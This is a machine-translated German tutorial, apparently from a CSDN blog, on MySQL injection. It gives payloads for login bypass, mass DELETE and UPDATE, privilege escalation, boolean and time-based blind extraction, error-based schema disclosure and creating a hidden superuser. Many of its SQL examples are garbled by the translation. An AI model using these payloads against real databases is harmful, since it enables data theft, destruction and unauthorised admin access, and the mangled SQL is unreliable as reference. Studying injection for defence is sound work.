Grundlegende Zusammenfassung der MySQL-Injektion

Grundlagen der MySQL-Injektion

INSERT-Logik

4 Typen (Werte, setzen, auswählen, leer)

Werte in Benutzer (UID, Benutzername, Passwort) einfügen (10015, 'peiqi', '123456')

in Benutzerwerte einfügen (10016, 'peiqi', '123456')

In Benutzer einfügen (uid, uname) wählen Sie 10017, 'peiqi'

in Benutzer einfügen set uid = 10018, uname = 'peiqi'

INSERT-Fehlerlogik

IN Benutzerwerte EINFÜGEN ('1', 'hxf', 'hxf123', 'hxftest')

Wenn Sie den Typ des Felds kennen und es absichtlich in einen anderen Typ schreiben und der Hintergrund die falschen Informationen nicht ordnungsgemäß verarbeitet, können die Informationen verloren gehen.

Warnungen anzeigen; Fehler anzeigen

INSERT behält die Backdoor-Logik bei

In Benutzer einfügen (UID, Uname, Blog) Wählen Sie 10021, 'michae121', ' <script>alert()</script>', 'hxf132'.

1. Der Angreifer kann Virenskripte einfügen. Wenn beim Öffnen einer Webseite das Verarbeitungsprogramm den Browser nicht daran hindert, das Skript zu analysieren, werden viele Werbefenster angezeigt.

2. Der Angreifer kann Datenbankverbindungs- und Kommunikationsskripts einfügen, sodass er gegebenenfalls in outfile ein Verzeichnis auswählt, auf das das Web zugreifen kann. Ziel ist es, über eine http-Verbindung direkt auf die Datenbank zuzugreifen.

Injektionslogik LÖSCHEN

create table users2 as select * from users; Erstellen Sie Tabellenbenutzer2 und kopieren Sie die Tabellenbenutzer hinein

DELETE FROM users2 where uname='peiqi'; Löschen Sie die angegebenen Daten

DELETE FROM users2; Löschen Sie alles in der Tabelle users2.

Zuordnung löschen löschen

delete a,b from emp a, dept b where a.dept_no=b.dept_no and a.dept_no='d006';

// Wobei a und b Aliase von emp bzw. dept sind. Löschen Sie die Zeilen, in denen das Feld dept_no in der Tabelle emp und die Tabelle dept beide d006 sind.

Injizieren Löschen

DELETE FROM Benutzer wobei uname = 'hxf'

DELETE FROM users where uname = ' ' or '1'='1' // Die Folgen sind sehr schwerwiegend. Löschen Sie direkt alle Daten in der Benutzertabelle

UPDATE-Anweisungslogik

update users2 set gold = 10000 wobei uid = 10011;

update users2 set gold = 10000; Aktualisiere alle Werte ohne Eingabe von Bedingungen

UPDATE fügt die Aktualisierungslogik der gesamten Werke ein

Nutzlast:'or '1'='1

update users2 setze gold = 20000 wobei uname = ' ' or '1'='1' update

UPDATE-Eskalation

Nutzlast:', isadmin='1

update users2 set email = ' ',isadmin='1' where uname = 'hxf'

SELECT Grundlagen

Wählen Sie Benutzername, Passwort und UID von Benutzern aus, bei denen UID = 10022 oder UID = 10003 ist

Sortieren nach

Wählen Sie * aus der Benutzerreihenfolge nach Uname; // Entsprechend dem Uname-Feldinhalt az Forward Sort

Wählen Sie * aus der Benutzerreihenfolge nach uname desc; // Sortierung umkehren

Reihenfolge nach 1; // Nach dem ersten Feld vorwärts sortieren

order by 2 desc; // Umgekehrte Reihenfolge gemäß dem zweiten Feld

Grenze

Limit 10 nehmen die ersten zehn Zeilen

limit 0,1 Nimm eins vom 0 ..

in Aussage

Wählen Sie * von Benutzern aus, in denen sich uid befindet (wählen Sie uid von Benutzern aus2)

Das Ergebnis der Abfrageanweisung in Klammern wird als Wert von uid verwendet

existiert Richter Existenz, gibt wahr oder falsch zurück

Wählen Sie * von Benutzern aus, wo vorhanden (wählen Sie UID von Benutzern2).

// Wenn die leere Zahl einen Rückgabewert enthält, gibt exist true zurück und alle Informationen in der Benutzertabelle werden zurückgegeben

wähle * von Benutzern a wo existiert (wähle uid von Benutzern2 b wo a.uid = b.uid);

// Realisiere die Funktion von in, gib die Daten von a.uid = b.uid in der Benutzertabelle zurück, dies ist die zugehörige Abfrage

Inner Join Inner Join-Abfrage

wähle a.uname, b.mobile aus game_user a inner join game_user_ext b auf a.uid = b.uid;

// Innerer Join ist eine innere Verbindung, die dem Verbinden der Tabelle game_user und der Tabelle game_user_ext entspricht. Die Bedingung für die Verbindung ist a.uid = b.uid

links beitreten

wähle a.uname, b.mobile aus game_user a left join game_user b auf a.uid = b.uid;

// Die linke Verbindung gibt alle Werte in der linken Tabelle und den Wert von a.uid = b.uid in der rechten Tabelle zurück

// Right Join Right Verbindungslogik ist genau das Gegenteil

SELECT Einspritzlogik

  • Fehler der injizierten Zeichen

    'Um zu testen, wie die Datenbank mit einfachen Anführungszeichen umgeht, ob die Fehlermeldung ordnungsgemäß behandelt wird.

  • Erraten Sie die Anzahl der verarbeiteten Felder

    Reihenfolge durch Dichotomie

    Wenn die Webseite einen Fehler meldet oder die Verarbeitung abnormal ist, bedeutet dies, dass sie injiziert werden kann

  • Leere eingestellte Logik

    uname = '' oder '0' = '9' // Die Abfrage uname ist leer oder 0 = 9, offensichtlich ist die Rückgabe leer

    // Die Webseite meldet keinen Fehler, aber die Anzeigeseite hat keinen Inhalt.

  • Komplette Werkslogik

    uname = '' oder '1' = '1' // ständig wahr, es ist möglich, den Datenbankinhalt zu durchlaufen

  • Union zuerst duplizieren und dann zusammenführen

    Wählen Sie * aus der Benutzergewerkschaft aus. Wählen Sie * aus den Benutzern2.

    // Alle Werte in der Tabelle users und users2 abfragen und nach der Deduplizierung zurückgeben

    • Sie können es selbst konstruieren

      wähle uid, uname from users union wähle 1, 'balabala';

      Geben Sie das Abfrageergebnis und 1, 'balabala' zurück.

  • Vereinigung alle einfache Verschmelzung

    wähle * aus der Benutzervereinigung alle wähle * aus den Benutzern2;

    // Alle Werte in der Tabelle users und users2 abfragen, ohne Deduplizierung zurückgeben

  • Fehlerlogik

    Ein Fehler wird gemeldet, wenn die Anzahl der Felder an beiden Enden der Vereinigung inkonsistent ist

    Wählen Sie * aus der Benutzergewerkschaft. Wählen Sie nacheinander '1,2,3 ...'

  • Ersatzlogik (oberer Rang eines Dritten)

    uid = "10003 und 1 = 2 Vereinigung wählen 1,2,3,4,5,6,7,8"

    // Treffen Sie gemäß der zurückgegebenen Nummer das nächste Urteil


DCL-Sprache und die Logik der Privilegieneskalation

DCL (Data Control Language) wird hauptsächlich von Administratoren mit Verwaltungsberechtigung verwendet.

  • Fragen Sie den MySQL-Benutzer ab

    Wählen Sie Host, Benutzer und Passwort aus mysql.user.

  • Benutzer erstellen

    Erstelle den Benutzer 'xqw' @ 'localhost', der durch 'abc' gekennzeichnet ist.

  • Benutzer löschen

    Benutzer 'xqw' @ 'localhost' löschen;

  • Autorisierter Administrator

    grant all privileges on *.* to admin@'%' identified by 'abc';

    *. * Repräsentiert eine Tabelle oder ein Objekt in einer Datenbank

    @ Repräsentativer Login

    % Bedeutet, dass Sie sich von überall anmelden können

    identifiziert durch 'abc' setze das Passwort auf abc

  • Autorisieren Sie Benutzer mit angegebenen Bereichsberechtigungen

    grant select,insert on *.* to admin2@'%' identified 'abc'

    Autorisieren Sie einen Benutzer admin2, der nur Berechtigungen für eine Tabelle oder ein Objekt in einer Datenbank auswählt und einfügt

    Kann sich überall anmelden

  • Rechte Eskalation admin2

    grant select,insert on *.* to admin2@'%' identified 'abc'

  • Flush-Berechtigungen; Aktualisierungsberechtigungen

  • Melden Sie sich bei der Datenbank an

    mysql -h 192.168.1.120 -uadmin -pabc

Numerische Typen und Einspritzlogik

  • Numerische Typklassifizierung

    Ganzzahlige Typen: tinyint, smallint, mediumint, int, bigint

    Gleitkommatypen: float, double, decimal

  • Numerische Out-of-Bound-Fehlerberichterstattung und Injektionsanwendung

    Geben Sie absichtlich einen Wert außerhalb der Grenzen ein, um den Feldnamen anzuzeigen, wenn ein Fehler gemeldet wird.

  • Typkonvertierungsfehler

    Beispiel: Übergeben Sie absichtlich einen Zeichenwert an ein Feld, das ursprünglich eine Ganzzahl ist, damit der Feldname angezeigt wird, wenn ein Fehler gemeldet wird.

  • Die Logik vollständiger und leerer Mengen

    Komplette Werke :

    oder 1 = 1

    oder– + 1 = - !! 2 // - + Negativ negativ positiv bedeutet positiv, - bedeutet positiv! ! Nicht nicht positiv

    // Also - + 1 ist, - !! 2 ist 1

    // Benutze - + !! Ersetzen Sie den Raum, vermeiden Sie die Back-End-Überprüfung des Raums

    // Hinweis: Zwischen oder und- ist kein Leerzeichen.

    uname = `` = '' // Konstante ist wahr, achten Sie auf einfache Anführungszeichen

    Leere Mengenlogik :

    oder 1 = 2

    und 1 = 2

    und! - + 2 = - !! 2 //! - + 2 ist 0, - !! 2 ist 1

Zeit- und Datumsinjektionslogik

  • Datums- und Uhrzeittyp

    包括 Datum, Datum / Uhrzeit, Zeitstempel, Uhrzeit, Jahr

    // Datum / Uhrzeit Datum Uhrzeit Typ

    // Zeitstempel Zeitstempel

    Tabelle testd erstellen (reg date, reg2 time, reg3 datetime, reg4 timestamp default current_timestamp bei update current_timestamp, reg5 year);

    // datetime spart 8 Bytes

    // Zeitstempel spart 4 Bytes

    // Jahr speichert nur das Jahr

    // Datum speichert nur das Datum

    // Zeit spart nur Zeit

    in testd Werte einfügen (now (), now (), now (), now (), now ());

  • Injizieren Sie die Logik

    • Wert außerhalb der Grenzen Fehler

      Geben Sie absichtlich eine große Ganzzahl ein, was zu einem Fehler führt, und rufen Sie den Feldnamen ab

    • Fehler bei der numerischen Typkonvertierung

      Beispiel: Es war ursprünglich ein Zeittyp. Die absichtliche Eingabe eines Zeichentyps verursachte einen Fehler und führte dazu, dass der Feldname platzte.

Zeichentyp und Einspritzlogik

  • Zeichentyp

    char, varchar, binär, varbinary, blob, text, enum, set

    // char Klartextzeichenfolge mit fester Länge

    // varchar Klartextzeichenfolge variabler Länge

    // binäre binäre Zeichenfolge mit fester Länge

    // binäre Zeichenfolge mit varbinärer variabler Länge

    // eine große Anzahl von Binärzeichenfolgen blob

    // eine große Anzahl von Klartextzeichenfolgen schreiben

    // Aufzählungstyp aufzählen

    // Sammeltyp festlegen

    Tabelle testc erstellen (un char (3), un2 varchar (3), un3 binary (3), un4 varbinary (3));

    in testc-Werte einfügen ('xqw', 'xqw', 'xqw', 'xqw')

  • Injizieren Sie die Logik

    • Zeichentyp außerhalb der Grenzen Fehler

      Die Eingabe einer sehr langen Zeichenfolge führt dazu, dass ein Fehler gemeldet wird, sodass der Feldname aus der Fehlermeldung erhalten wird und dann die Bedeutung des Feldnamens und die Funktion der Tabelle abgeleitet werden.

    • Typkonvertierungsfehler

      Wählen Sie * von Benutzern aus, bei denen !! user_id = 'admin';

      // Uname in eine Ganzzahl konvertieren, was zu einem Fehler führt

    • Text- und Blob-Typen bleiben hinter der Tür

    • Aufzählungstyp auflisten und Auflistungstyp festlegen

      Aufzählungstyp kann und kann nur einen auswählen

      Ein oder mehrere festgelegte Sammlungstypen sind optional

      create table testd (uname1 enum ('a', 'b', 'c'), uname2 set ('a', 'b', 'c'));

      in testd Werte einfügen ('a', 'a, b')

      Wählen Sie * aus testd aus, wobei find_in_set ('a', uname2) // Datensätze mit a im Feld uname2 suchen

    • Injektionslogik find_in_set ()

      Wählen Sie * aus Benutzern aus, bei denen uname = 'admin' und find_in_set (left (user (), 1), 's, t, u, r') = 1 sind

      // Errate, ob das erste Zeichen des Benutzernamens s ist, wenn das Echo normal ist, ist es s, wenn es abnormal ist, ist es nicht s, und weitere Tests sind erforderlich

Vergleichsoperatoren und Injektionslogik

Wählen Sie * von Benutzern aus, bei denen uid> = 1007 und uid <= 1009; // Datensätze von 1007 bis 1009 zurückgeben

Wählen Sie * von Benutzern aus, bei denen die UID zwischen 1004 und 1007 liegt. // Geben Sie Datensätze von 1004 bis 1007 zurück

Wählen Sie * von Benutzern aus, bei denen uid in (1002,1003,1009); // die angegebenen drei Datensätze zurückgibt // im Gegenteil nicht in

Wählen Sie * von Benutzern aus, bei denen isadmin null ist. // Suchen Sie nach Datensätzen, bei denen isadmin gleich dem Nullwert ist. // Im Gegenteil, ist nicht null, um festzustellen, ob es nicht leer ist

Fuzzy-Abfrage:

Wählen Sie * von Benutzern aus, bei denen uname wie 'a%'; // Datensätze suchen, die mit //% beginnen, ist ein Platzhalter

Wählen Sie * von Benutzern aus, bei denen uname wie '% a%'; // Datensätze mit einem in uname suchen

  • Blindanwendung (abgegrenzter Anwendungsbereich)

    und Länge (Benutzer ())> 10 und Länge (Benutzer ()) <20

    Begrenzen Sie den Bereich und bestimmen Sie schließlich den spezifischen Wert, je nachdem, ob die Webseitenantwort normal ist oder nicht. Sie können auch zum Erraten des Datenbanknamens usw. verwendet werden.

    注入 传 参 : uname = admin 'und uname>' a 'und uname <' d

    结果 : Wählen Sie * aus Benutzern aus, bei denen name = 'admin' und uname> 'a' und uname <'d';

Logische Operatoren und injizierte Logik

Wählen Sie * von Benutzern aus, bei denen uid = 10003 und uname = 'admin';

&&

1 und 1 // ist wahr

1 und 0 // ist falsch

Wählen Sie * von Benutzern aus, bei denen uid = 10003 oder uname = 'saniya'; // zurückgegeben wird, wenn eine der Bedingungen erfüllt ist

||

1 oder 1 // ist wahr

1 oder 0 // ist wahr

0 oder 0 // ist falsch

1 ist wahr! 1 ist falsch

XOR

1 xoder 1 // ist 0

1 xoder 0 // ist 1

  • Komplexe Logik und injizierte Logikbeziehung

    Invariante Logik:

    Wählen Sie * von Benutzern aus, bei denen uid = 10003 und uname = 'admin' und 1 = 1;

    Wählen Sie * von Benutzern aus, bei denen uid = 10002 und uname = 'admin' oder 1 = 2;

    Wählen Sie * von Benutzern aus, bei denen uname = 'admin' && !!! 1;

    Leere Mengenlogik:

    Wählen Sie * von Benutzern aus, bei denen uid = 10002 und uname = 'admin' und 1 = 2;

    Wählen Sie * von Benutzern aus, bei denen uid = 10002 und uname = 'admin' und 0 = true sind.

    Wählen Sie * von Benutzern aus, bei denen uname = 'admin' &&! 1;

    Komplette Arbeitslogik:

    Wählen Sie * aus Benutzern mit uid = 10003 und uname = 'admin' oder 1 = 1;

    Wählen Sie * von Benutzern aus, bei denen uname = 'admin' oder !! 1;

    Wählen Sie * von Benutzern aus, bei denen uname = 'admin' oder !! 1 = ~~ 1; // ~ die bitweise Inversion ist (das Komplement ist bitweise invertiert). ~~ soll sich selbst wiederherstellen

  • Vollständiger Satz der Überprüfung des logischen Bypass-Passworts

    Normale Logik: Wählen Sie * von Benutzern aus, bei denen uname = 'admin' und password = '123456';

    Bypass: Wählen Sie * aus den Benutzern uname = '' oder '1' = '1' - und password = '$ password'; // Benutzername Feld Kommentar Bypass

    Wählen Sie * unter Benutzern aus, bei denen uname = 'admin' und password = `` = ''; // Passwortfeldumgehung

    Wählen Sie * von Benutzern aus, bei denen uname = 'admin' und '0' = '0'; // Benutzername Feldumgehung

Wörterbuch-Metadaten und Injektionsanwendungen

  • Erstellen Sie einen Superadministrator

    // Der erste Schritt besteht darin, einen normalen Benutzer zu erstellen

    in Benutzerwerte (Host, Benutzer, Passwort) einfügen ('%', 'admin3', Passwort ('abc'));

    // Kopieren Sie zuerst einen Teil der Daten des Superadministratorkontos in eine temporäre Tabelle

    Erstelle eine Tabelle tmp select * aus mysql.user wobei user = 'root' limit 1;

    // Aktualisiere die Host-, Benutzer- und Passwortfelder in der Tabelle

    Update tmp set host = '%', user = 'admin4', password = password ('abc');

    // Füge den Datensatz in die Benutzertabelle ein

    in mysql.user einfügen select * from tmp;

    Flush-Berechtigungen; // Berechtigungen aktualisieren

  • MySQL-Datenbank

    Die Benutzertabelle // speichert wichtige Informationen wie Host, Benutzername und Kennwort.

    Die DB-Tabelle // speichert die Berechtigungsinformationen auf Datenbankebene.

    column_priv table // speichert die detaillierten Berechtigungsverteilungsinformationen des Feldes.

  • Wörterbuchanwendung

    • Ruft alle Datenbanknamen der aktuellen Instanz ab

      Wählen Sie ein unterschiedliches Tabellenschema aus information_schema.tables aus.

      Wählen Sie schema_name aus information_schema.schemata aus.

    • information_schema Datenbank

      Schematabelle : Speichert die Definitionsinformationen zur Datenbank

      Tabellen Tabelle: Speichert alle Metadateninformationen der Tabellendefinitionsattribute

      Spaltentabelle : Speichert die Informationen aller Felder unter allen Datenbanken

      Routinen: gespeicherte Prozedur- oder Funktionsinformationen

      Ansichten: Informationen versuchen

      Trigger: Informationen auslösen

    • Rufen Sie den Tabellennamen und den Feldnamen ab

      select database (); // Zeigt den aktuellen Datenbanknamen an

      Wählen Sie table_name aus information_schema.tables aus, wobei table_schema = database (); // Alle Tabellen in der aktuellen Datenbank abrufen

      Wählen Sie Spaltenname aus information_schema.columns aus, wobei table_schema = database () und table_name = 'users'; // Alle Feldnamen in der Benutzertabelle unter der aktuellen Datenbank abrufen

Spy Return und Passwort erraten Korrelationsfunktion

Nutzer()

current_user ()

session_user () // Benutzername

version () // Datenbankversionsnummer

database () // Datenbankname

length () // Länge zurückgeben

Länge (Datenbank ())> 2 // Errate die Lösungslänge

left (database (), 1)> 'h' // Das erste Zeichen von links

Teilzeichenfolge (database (), 1,1)> 'h' // Errate die Datenbankzeichen nacheinander

position ('@' in user ()) // Gibt die Position von @ im Benutzernamen zurück

locate ('@', user ()) // Die Funktion ist dieselbe wie oben

  • Spion kehrt zurück

    user () , version ()

    Probe: Testen Sie, ob das Programm gleichzeitig Funktionen, Unterabfragen, Klammern usw. filtert.

    Beides sind im SQL99-Standard gebräuchliche Funktionen, und verschiedene Datenbankrückgabewerte haben ihre eigenen Merkmale und schließen daraus, um welchen Datenbanktyp es sich handelt.

    Wie die Rückgabe der user () Funktion:

    mysql gibt root @ localhost zurück

    Orakel gibt sys zurück

    sqlserver gibt sa zurück

    Wenn die Ausführung erfolgreich ist, meldet sich der Spion zurück. Dies bedeutet, dass das Programm keine Funktionen, Klammern () und Unterabfragen filtert und möglicherweise komplexe Logik wie Funktionen und Unterabfragen ausführen kann.

    Die Spione kehrten nicht zurück, was im Grunde darauf hinweist, dass der Injektionsangriff schwierig oder die Möglichkeit einer Injektion sehr gering ist.

Zeit stehlen verwandte Funktionen

Wählen Sie die Funktion sleep (5) // sleep in Sekunden

Benchmark auswählen (100000, md5 ('qianxun')) // Stresstest

// Berechne den md5-Wert des Strings 'qianxun' 100000 Mal und beurteile die Leistung der MySQL-Datenbank anhand der Ausführungszeit

Wählen Sie, ob (5> 2, 'a', 'b') // Der erste Parameter ist wahr, dann wird der zweite Parameterwert zurückgegeben, andernfalls wird der dritte Parameter zurückgegeben

  • Blindanwendung

    Wählen Sie * unter Benutzern aus, bei denen uname = 'admin' und if (left (version (), 1)> 3, sleep (5), 1).

    // Wenn die erste Ziffer der Datenbankversionsnummer größer als 3 ist, schlafen Sie 5 Sekunden lang, andernfalls geben Sie 1 zurück

    // Beurteilen des Ergebnisses anhand der von der Seite zurückgegebenen Zeit

    Wählen Sie * aus Benutzern aus, bei denen uname = 'admin' und if (ascii (substr (user (), 1,1)> 97), sleep (), 1).

    // Die Vermutung des Strings muss zuerst in ASCII-Code konvertiert werden

    Wählen Sie * vom Benutzer aus, wobei if (left (version (), 1) = 5, sleep (1), 1);

    // Wenn die erste Ziffer der Versionsnummer gleich 5 ist, wird 1 * 5 Sekunden zurückgegeben. Der Multiplikator hängt von der Anzahl der Daten in der Tabelle ab

    Wählen Sie * aus Benutzern aus, bei denen uname = 'admin' und if (substr (uname, 1,1) = 'b', Benchmark (1000000, md5 ('suibianxie')), 1).

    // Verwenden Sie die Funktion "Benchmark ()", um den Grund vollständig zu ermitteln. Dies ist der gleiche wie bei sleep ().

Selbstberichtete familiäre Hintergrundfunktion

Selbstberichterstattung über den familiären Hintergrund: Wenn kein Fehler vorliegt, machen Sie Fehler und bringen Sie die Abfrageinformationen heraus, lassen Sie den Fehler herauskommen und teilen Sie dem Injektor mit, was vorhanden ist, und legen Sie alles offen, was von der Familie offenbart werden kann.

Wählen Sie * von Benutzern aus, bei denen if (uid> 10005,1,0) // Daten mit uid> 10005 zurückgibt

select rand () // gibt eine Dezimalstelle zwischen 0 und 1 zurück

wähle rand () * 2 // gib die Dezimalstelle zwischen 0 ~ 2 zurück

select round (rand () * 2) // gibt den Wert von rand () * 2 round zurück

select floor (rand () * 2) // gibt den Wert von rand () * 2 zurück, nachdem der Boden gerundet wurde

Wählen Sie concat ('abc', 'def') // Spleißen von abc und def

Wählen Sie unter Benutzer2 concat (Benutzer-ID, Vorname) aus. // Kombinieren Sie die Rückgabewerte der Felder Benutzer-ID und Vorname

Wählen Sie user_id, group_concat (first_name) von users2 aus.

// Den ersten Wert des Feldes user_id zurückgeben und alle Werte des Feldes first_name anzeigen (getrennt durch,)

// Wenn in group_concat () mehrere Parameter vorhanden sind, werden die Werte mehrerer Parameter miteinander verbunden, und dann werden die Ergebnisse jeder Durchquerung angezeigt (verwenden, trennen).

// concat () verbindet mehrere Parameterwerte miteinander und die Ergebnisse jeder Durchquerung werden einzeln angezeigt

Wählen Sie Benutzer-ID, Vorname aus Benutzer2. Gruppe nach Benutzer-ID; // Gruppe nach wird nur einmal angezeigt

Wählen Sie Benutzer_ID, Gruppen_Katze (Vorname) aus der Gruppe Benutzer2 nach Benutzer_ID aus.

// Verwenden Sie group_concat () für ein anderes Feld, und die Werte von Vorname mit derselben Benutzer-ID werden zusammengefügt (getrennt durch, getrennt).

  • Primärschlüssel-Konfliktfehler

    Wählen Sie count (*), concat (user (), floor (rand () * 2)) als aus der Benutzergruppe von a;

    // gruppieren nach a ist, um die Ergebnisse von concat (user (), floor (rand () * 2)) zu gruppieren, dh jedes Ergebnis von concat (user (), floor (rand () * 2)) Kann nur einmal erscheinen, mit anderen Worten, das Ergebnis ist ein Primärschlüssel

    // Und concat (user (), floor (rand () * 2)) hat nur zwei Ergebnisse, root @ localhost1 und root @ localhost0

    // Aufgrund der Existenz der Zufallsfunktion rand () wird rand () während der Ausführung einmal berechnet. Wenn die temporäre Tabelle keinen solchen Wert enthält, wird sie in die temporäre Tabelle eingefügt und während der Ausführung erneut berechnet Einfügen (Gruppieren nach Wird einmal neu berechnet a) Wenn die Gruppierung in der temporären Tabelle abgeschlossen ist, dh nachdem der Primärschlüssel festgelegt wurde, steht der später eingefügte Wert in Konflikt mit dem Primärschlüssel, was zu einem Fehler führt.

    // Je größer der Zufallszahlenfaktor ist, desto wahrscheinlicher ist er und desto geringer ist die Wahrscheinlichkeit eines Primärschlüsselkonflikts. Damit der Primärschlüsselkonflikt so weit wie möglich einen Fehler meldet, muss der Zufallszahlenfaktor sein das kleinste und das Minimum ist 2 (zwei Arten von zufälligen Ergebnissen 0, 1), wählen Sie also rand () * 2.

    • Stellen Sie vertrauliche Systeminformationen bereit

      Wählen Sie count (*), concat (version (), floor (rand () * 2), user ()) als a from users group by a;

      // Der Fehler zeigt die Datenbankversion und den Benutzer an

    • Datenbanknamen verfügbar machen

      Wählen Sie count (*), concat ((select (select (select schema_name from information_schema.schemata limit 0,1)) als a_col from information_schema.tables limit 0,1), floor (rand (0) * 2)) x_col from information_schema .tables gruppieren nach x_col

      // Der erste Datenbankname wird angezeigt, und der folgende Datenbankname kann durch Ändern des Grenzwertparameters abgerufen werden

    • Legen Sie alle Tabellennamen offen

      Wählen Sie count (*), concat ((select (select (select table_name from information_schema.tables wobei table_schema = database () limit 0,1)) als from information_schema.tables limit 0,1), floor (rand (0) * 2)) b aus der Gruppe information_schema.tables von b

      // Wenn Sie den ersten Tabellennamen herausbrechen, können Sie den folgenden Datenbanknamen erhalten, indem Sie den Parameter limit ändern

Ich denke du magst

Origin blog.csdn.net/qq_43665434/article/details/114629641
Empfohlen
Rangfolge